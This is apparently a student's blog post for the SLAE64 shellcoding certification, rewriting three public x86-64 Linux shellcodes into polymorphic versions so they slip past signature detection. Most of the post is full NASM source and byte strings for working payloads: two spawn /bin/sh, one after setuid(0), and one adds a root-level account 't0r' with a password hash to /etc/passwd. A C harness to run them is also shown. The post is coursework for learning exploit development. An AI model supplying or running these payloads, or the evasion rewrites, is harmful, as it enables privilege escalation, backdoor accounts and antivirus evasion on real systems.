Skip to main content

SLAE64 - Assignment 6

This post is a continuation of a seven (7) part blog series as part of the SLAE64 certification challenge. You can read the previous blog posts using the links below.

Previous Posts:

The requirements for Assignment 6 are as follows:
  • Take up 3 shellcodes from shell-storm and create polymorphic versions of them to beat pattern matching
  • The polymorphic versions cannot be larger 150% of the existing shellcode
  • Bonus points for making it shorter in length than original

For this assignment I chose the following three (3) shellcodes:

The code for this assignment can be found here:
https://github.com/blu3gl0w13/SLAE64/tree/master/assignment-6

Additional scripts created and used in this class can be found here:
https://github.com/blu3gl0w13/SLAE64/tree/master/scripts

Our first shellcode is found at http://shell-storm.org/shellcode/files/shellcode-76.php. You can find the code below. the first thing we notice is that this is code isn't in our easy to read INTEL format. So the first order of business is to rewrite the instruction into INTEL format. After that, we'll use our typical tricks to rewrite the instructions so that we change the resulting opcode. Remember though, we have to make sure it's not more than 150% larger than the original.

# [Linux/X86-64]
# Dummy for shellcode:
# execve("/bin/sh", ["/bin/sh"], NULL)
# hophet [at] gmail.com

.text
 .globl _start
_start:
 
 xorq %rdx, %rdx
 movq $0x68732f6e69622fff,%rbx
 shr $0x8, %rbx
 push %rbx
 movq %rsp,%rdi
 xorq %rax,%rax
 pushq %rax
 pushq %rdi
 movq %rsp,%rsi
 mov $0x3b,%al # execve(3b)
 syscall

 pushq $0x1
 pop %rdi
 pushq $0x3c  # exit(3c)
 pop %rax
 syscall

Here's the rewritten copy. We add a CLD instruction and then use a MUL instruction to initialize RAX. Near the end of the first system call, we'll use a DEC instruction to setup RAX how we need to for our EXECVE system call.

; Original Author Information:
; [Linux/X86-64]
; Dummy for shellcode:
; execve("/bin/sh", ["/bin/sh"], NULL)
; hophet [at] gmail.com
;
; shellcode-76-poly.nasm
; by Michael Born (@blu3gl0w13)
; Student ID: SLAE64-1439
; November 8, 2016


global _start

section .text

_start:
 
 xor rdx, rdx
 cld
 mul     rdx
 mov rbx, 0x68732f6e69622fff
 shr rbx, 0x8
 push rbx
 mov rdi, rsp
 push rax
 push rdi
 mov rsi, rsp
 mov al, 0x3c ; execve(3b)
 dec     rax
 syscall

 push 0x1
 pop rdi
 push 0x3c  ; exit(3c)
 pop rax
 syscall

So all that's left is to compile, throw it into a C program, calculate the length, and make sure it runs. We can see it's only 45 bytes which is less than our 150% requirement (49.5 bytes).




Excellent. The next shellcode we chose is located at: http://shell-storm.org/shellcode/files/shellcode-77.php. We'll attempt to accomplish the same task. We'll rewrite the original with different instructions but to perform the same task as the original.

/*
setuid(0) + execve(/bin/sh) - just 4 fun. 
xi4oyu [at] 80sec.com
 
main(){
__asm(  "xorq %rdi,%rdi\n\t"
        "mov $0x69,%al\n\t"
        "syscall \n\t"
        "xorq   %rdx, %rdx \n\t"
        "movq   $0x68732f6e69622fff,%rbx; \n\t"
        "shr    $0x8, %rbx; \n\t"
        "push   %rbx; \n\t"
        "movq   %rsp,%rdi; \n\t"
        "xorq   %rax,%rax; \n\t"
        "pushq  %rax; \n\t"
        "pushq  %rdi; \n\t"
        "movq   %rsp,%rsi; \n\t"
        "mov    $0x3b,%al; \n\t"
        "syscall ; \n\t"
        "pushq  $0x1 ; \n\t"
        "pop    %rdi ; \n\t"
        "pushq  $0x3c ; \n\t"
        "pop    %rax ; \n\t"
        "syscall  ; \n\t"
);
}
*/
main() {
        char shellcode[] =
        "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62"
        "\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31"
        "\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c"
        "\x58\x0f\x05";
        (*(void (*)()) shellcode)();
}
 
2009-05-14
evil.xi4oyu

As we examine our polymorphed version we also have to convert it to INTEL format. We'll use PUSH, POP, and DEC to setup our first argument to define __NR_setuid 105. The MUL instruction helps us initialize RAX before we copy 0x69 into AL. This should change up the initial opcode enough to fool any signature detection technologies. Assuming it's looking at the first set of instructions.

; Original Author Info:
; setuid(0) + execve(/bin/sh) - just 4 fun.
; xi4oyu [at] 80sec.com
;
; shellcode-77-poly.nasm
; by Michael Born (@blu3gl0w13)
; Student ID: SLAE64-1439
; November 8, 2016
;

global _start

section .text

_start:

        push 0x1
        pop rdi
        dec rdi
        mul rdi
        mov   al, 0x69
        syscall

        xor   rdx, rdx
        mov   rbx, 0x68732f6e69622fff
        shr   rbx, 0x8
        push  rbx
        mov   rdi, rsp
        mul   rdx
        push  rax
        push  rdi
        mov   rsi, rsp
        mov   al, 0x3b
        syscall


        push  0x1
        pop   rdi
        push  0x3c
        pop   rax
        syscall

Next, we run our script and make sure it not only works but is small enough to fulfill our requirements. Excellent, it not only works but it's only 55 bytes out of the max 73.5 bytes limit imposed by our requiremnets.






The next shellcode we chose is quite a bit larger. It can be found here: http://shell-storm.org/shellcode/files/shellcode-801.php. The larger the code, the more we can do with it and the less we'll have to worry about our size restriction of our final polymorphed version. Here's the original code.

;sc_adduser01.S
;Arch:          x86_64, Linux
;
;Author:        0_o -- null_null
;           nu11.nu11 [at] yahoo.com
;Date:          2012-03-05
;
;compile an executable: nasm -f elf64 sc_adduser.S
;           ld -o sc_adduser sc_adduser.o
;compile an object: nasm -o sc_adduser_obj sc_adduser.S
;
;Purpose:       adds user "t0r" with password "Winner" to /etc/passwd
;executed syscalls:     setreuid, setregid, open, write, close, exit
;Result:        t0r:3UgT5tXKUkUFg:0:0::/root:/bin/bash
;syscall op codes:  /usr/include/x86_64-linux-gnu/asm/unistd_64.h
BITS 64
[SECTION .text]
global _start
_start:
    ;sys_setreuid(uint ruid, uint euid)
        xor     rax,    rax
        mov     al,     113                     ;syscall sys_setreuid
        xor     rbx,    rbx                     ;arg 1 -- set real uid to root
        mov     rcx,    rbx                     ;arg 2 -- set effective uid to root
        syscall
        ;sys_setregid(uint rgid, uint egid)
        xor     rax,    rax
        mov     al,     114                     ;syscall sys_setregid
    xor     rbx,    rbx                     ;arg 1 -- set real uid to root
        mov     rcx,    rbx                     ;arg 2 -- set effective uid to root
        syscall
    ;push all strings on the stack prior to file operations.
    xor rbx,    rbx
    mov     ebx,    0x647773FF
        shr     rbx,    8
        push    rbx                             ;string \00dws
        mov     rbx,    0x7361702f6374652f
        push    rbx                             ;string sap/cte/
    mov     rbx,    0x0A687361622F6EFF
        shr     rbx,    8
        push    rbx                             ;string \00\nhsab/n
        mov     rbx,    0x69622F3A746F6F72
        push    rbx                             ;string ib/:toor
        mov     rbx,    0x2F3A3A303A303A67
        push    rbx                             ;string /::0:0:g
    mov rbx,    0x46556B554B587435
    push    rbx             ;string FUkUKXt5
    mov rbx,    0x546755333A723074
    push    rbx             ;string TgU3:r0t
    ;prelude to doing anything useful...
    mov rbx,    rsp         ;save stack pointer for later use
    push    rbp             ;store base pointer to stack so it can be restored later
    mov rbp,    rsp         ;set base pointer to current stack pointer
    ;sys_open(char* fname, int flags, int mode)
    sub rsp,        16
    mov [rbp - 16], rbx     ;store pointer to "t0r..../bash"
    mov si,     0x0401      ;arg 2 -- flags
    mov rdi,        rbx
    add rdi,        40      ;arg 1 -- pointer to "/etc/passwd"
    xor rax,        rax
    mov al,     2       ;syscall sys_open
    syscall
    ;sys_write(uint fd, char* buf, uint size)
    mov [rbp - 4],  eax     ;arg 1 -- fd is retval of sys_open. save fd to stack for later use.
    mov rcx,        rbx     ;arg 2 -- load rcx with pointer to string "t0r.../bash"
    xor rdx,        rdx
    mov dl,     39      ;arg 3 -- load rdx with size of string "t0r.../bash\00"
    mov rsi,        rcx     ;arg 2 -- move to source index register
    mov rdi,        rax     ;arg 1 -- move to destination index register
    xor     rax,            rax
        mov     al,             1               ;syscall sys_write
        syscall
    ;sys_close(uint fd)
    xor rdi,        rdi
    mov edi,        [rbp - 4]   ;arg 1 -- load stored file descriptor to destination index register
    xor rax,        rax
    mov al,     3       ;syscall sys_close
    syscall
    ;sys_exit(int err_code)
    xor rax,    rax
    mov al, 60          ;syscall sys_exit
    xor rbx,    rbx         ;arg 1 -- error code
    syscall
;char shellcode[] =
;   "\x48\x31\xc0\xb0\x71\x48\x31\xdb\x48\x31\xc9\x0f\x05\x48\x31"
;   "\xc0\xb0\x72\x48\x31\xdb\x48\x31\xc9\x0f\x05\x48\x31\xdb\xbb"
;   "\xff\x73\x77\x64\x48\xc1\xeb\x08\x53\x48\xbb\x2f\x65\x74\x63"
;   "\x2f\x70\x61\x73\x53\x48\xbb\xff\x6e\x2f\x62\x61\x73\x68\x0a"
;   "\x48\xc1\xeb\x08\x53\x48\xbb\x72\x6f\x6f\x74\x3a\x2f\x62\x69"
;   "\x53\x48\xbb\x67\x3a\x30\x3a\x30\x3a\x3a\x2f\x53\x48\xbb\x35"
;   "\x74\x58\x4b\x55\x6b\x55\x46\x53\x48\xbb\x74\x30\x72\x3a\x33"
;   "\x55\x67\x54\x53\x48\x89\xe3\x55\x48\x89\xe5\x48\x83\xec\x10"
;   "\x48\x89\x5d\xf0\x66\xbe\x01\x04\x48\x89\xdf\x48\x83\xc7\x28"
;   "\x48\x31\xc0\xb0\x02\x0f\x05\x89\x45\xfc\x48\x89\xd9\x48\x31"
;   "\xd2\xb2\x27\x48\x89\xce\x48\x89\xc7\x48\x31\xc0\xb0\x01\x0f"
;   "\x05\x48\x31\xff\x8b\x7d\xfc\x48\x31\xc0\xb0\x03\x0f\x05\x48"
;   "\x31\xc0\xb0\x3c\x48\x31\xdb\x0f\x05";
;
;equivalent code:
;
;char shellcode[] =
;   "\x48\x31\xc0\xb0\x71\x48\x31\xdb\x48\x89\xd9\x0f\x05\x48\x31"
;   "\xc0\xb0\x72\x48\x31\xdb\x48\x89\xd9\x0f\x05\x48\x31\xdb\xbb"
;   "\xff\x73\x77\x64\x48\xc1\xeb\x08\x53\x48\xbb\x2f\x65\x74\x63"
;   "\x2f\x70\x61\x73\x53\x48\xbb\xff\x6e\x2f\x62\x61\x73\x68\x0a"
;   "\x48\xc1\xeb\x08\x53\x48\xbb\x72\x6f\x6f\x74\x3a\x2f\x62\x69"
;   "\x53\x48\xbb\x67\x3a\x30\x3a\x30\x3a\x3a\x2f\x53\x48\xbb\x35"
;   "\x74\x58\x4b\x55\x6b\x55\x46\x53\x48\xbb\x74\x30\x72\x3a\x33"
;   "\x55\x67\x54\x53\x48\x89\xe3\x55\x48\x89\xe5\x48\x83\xec\x10"
;   "\x48\x89\x5d\xf0\x66\xbe\x01\x04\x48\x89\xdf\x48\x83\xc7\x28"
;   "\x48\x31\xc0\xb0\x02\x0f\x05\x89\x45\xfc\x48\x89\xd9\x48\x31"
;   "\xd2\xb2\x27\x48\x89\xce\x48\x89\xc7\x48\x31\xc0\xb0\x01\x0f"
;   "\x05\x48\x31\xff\x8b\x7d\xfc\x48\x31\xc0\xb0\x03\x0f\x05\x48"
;   "\x31\xc0\xb0\x3c\x48\x31\xdb\x0f\x05";

Our polymorphed code is below. Let's talk about this a bit to explain what we did to polymorph the original code and to make sure it executes and meets our size restrictions. This shellcode is going to add a new user to /etc/passwd and will assign this user to the root real UID and the root effective UID. To start, I chose a PUSH, POP, and DEC technique to initialize our registers for our first system call. I use this technique again to setup RSI in the second system call after using the MUL instruction to initialize RAX. If you're not sure by this point in the series what this does to RAX, I encourage you to read the INTEL developer manual.

; Original Author Information:
; sc_adduser01.S
; Arch:          x86_64, Linux
;
; Author:        0_o -- null_null
;            nu11.nu11 [at] yahoo.com
; Date:          2012-03-05
;
; compile an executable: nasm -f elf64 sc_adduser.S
;           ld -o sc_adduser sc_adduser.o
; compile an object: nasm -o sc_adduser_obj sc_adduser.S
;
; Purpose:       adds user "t0r" with password "Winner" to /etc/passwd
; executed syscalls:     setreuid, setregid, open, write, close, exit
; Result:        t0r:3UgT5tXKUkUFg:0:0::/root:/bin/bash
; syscall op codes:  /usr/include/x86_64-linux-gnu/asm/unistd_64.h
;
; shellcode-801-poly.nasm
; by Michael Born (@blu3gl0w13)
; Student ID: SLAE64-1439
; November 8, 2016
;


global _start

section .text

_start:

        ;sys_setreuid(uint ruid, uint euid)
        
        push    0x1
 pop     rax
 dec     rax
        mov     al, 113                      ;syscall sys_setreuid
        xor     rdi, rdi                     ;arg 1 -- set real uid to root
        mov     rsi, rdi                     ;arg 2 -- set effective uid to root
        syscall

        ;sys_setregid(uint rgid, uint egid)
        
        xor     rdi, rdi                     ;arg 1 -- set real uid to root
        mul     rdi
        mov     al,  114                     ;syscall sys_setregid
        push    0x1
 pop     rsi
        dec     rsi                          ;arg 2 -- set effective uid to root
        syscall
    
        ;push all strings on the stack prior to file operations.
        
        push    0x2
 pop     rbx
 dec     rbx
 dec     rbx
        mov     ebx, 0x647773FF
        shr     rbx, 8
        push    rbx                             ;string \00dws
        mov     rbx, 0x7361702f6374652f
        push    rbx                             ;string sap/cte/
        mov     rbx, 0x0A687361622F6EFF
        shr     rbx, 8
        push    rbx                             ;string \00\nhsab/n
        mov     rbx, 0x69622F3A746F6F72
        push    rbx                             ;string ib/:toor
        mov     rbx, 0x2F3A3A303A303A67
        push    rbx                             ;string /::0:0:g
        mov     rbx, 0x46556B554B587435
        push    rbx                             ;string FUkUKXt5
        mov     rbx, 0x546755333A723074
        push    rbx                             ;string TgU3:r0t
    
        ;prelude to doing anything useful...
         
        mov     rbx, rsp           ;save stack pointer for later use
        push    rbp                ;store base pointer to stack so it can be restored later
        mov     rbp, rsp           ;set base pointer to current stack pointer
    
        ;sys_open(char* fname, int flags, int mode)
        
        sub     rsp, 16
        mov     [rbp - 16], rbx     ;store pointer to "t0r..../bash"
        mov     si, 0x0401          ;arg 2 -- flags
        mov     rdi, rbx
        add     rdi, 40            ;arg 1 -- pointer to "/etc/passwd"
        xor     rax, rax
        mov     al, 2              ;syscall sys_open
        syscall
    
        ;sys_write(uint fd, char* buf, uint size)
       
        mov     [rbp - 4], eax     ;arg 1 -- fd is retval of sys_open. save fd to stack for later use.
        mov     rcx, rbx           ;arg 2 -- load rcx with pointer to string "t0r.../bash"
        xor     rdx, rdx
        mov     dl,  39            ;arg 3 -- load rdx with size of string "t0r.../bash\00"
        mov     rsi, rcx           ;arg 2 -- move to source index register
        mov     rdi, rax           ;arg 1 -- move to destination index register
        xor     rax, rax
        mov     al,  1             ;syscall sys_write
        syscall
    

        ;sys_close(uint fd)
        
        xor     rdi, rdi
        mov     edi, [rbp - 4]     ;arg 1 -- load stored file descriptor to destination index register
        xor     rax, rax
        mov     al,  3             ;syscall sys_close
        syscall
    
        ;sys_exit(int err_code)
    
        xor     rax, rax
        mov     al,  60          ;syscall sys_exit
        xor     rbx, rbx         ;arg 1 -- error code
        syscall



When we run this polymophed version, we see that it does in fact at the user t0r to /etc/passwd. We also notice it's now 201 bytes long which is under our limit of 283 bytes. We also changed the shellcode at the beginning of the original code with the hopes it bypasses any signature checking technology.




This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert 64-bit certification:


http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html

Student ID: SLAE64 - 1439


Next: SLAE64 - Assignment 7

Comments

Popular posts from this blog

SLAE/SLAE64 Course Review

After recently finishing both the SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html) and SLAE64 (http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html) courses available through SecurityTube Training, and earning both certifications, I thought I would write a review of the training itself. Personally, I chose these course as a way to learn Assembly in preparation for the Crack The Perimeter (CTP) course and OSCE certification. After taking the Pentesting With Kali (PWK) class and earning the OSCP, I knew I needed to fill some gaps in my knowledge, and specifically with C and Assembly programming. Seeing that there aren't many training offerings that aim to teach Assembly specific to penetration testing and shellcoding, I gave SLAE a try.

  If you don't care about the certification itself, you can obtain all of SecurityTube's videos for a small monthly fee through Pentes…

SLAE64 - Assignment 1

Following completion of the SLAE32 course (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html), I decided to take advantage of the Pentester Academy account we have at work to continue the training with SLAE64 (http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html). So, we'll delve into each assignment like we did before and because it's part of the certification challenge.

Assignment 1 requirements are as follows:

Create a Shell_Bind_TCP shellcodeBinds to a portNeeds a "Passcode"If Passcode is correct then Execs ShellRemove 0x00 from the Bind TCP Shellcode discussed

PWK and the OSCP Review

Back in 2014 I started down the Pentesting With Kali (PWK) course about a month after passing the CISSP exam, for which I self studied for about 4 months. What can I say, I was a glutton for punishment but it was well worth it. I started off with 90 days, but due to a crazy work schedule, wound up extending it another 30 for a total of 120 days of lab access. I'm not as young as I would like to think I am and have other important responsibilities as Dad and Husband which I consider "Priority 1". So, my time to study, perform the homework assignments, go through the modules, videos, and lab work were limited to 2 hours in the morning before work (typically 5am until 7am), and then again for a few hours after everyone was asleep in the house (typically 9pm until 11pm or Midnight). Weekends I could usually spend up to 6 hours on Saturdays and Sundays studying which helped tremendously.

Other people have already done a great job at reviewing the PWK course and the OSCP chall…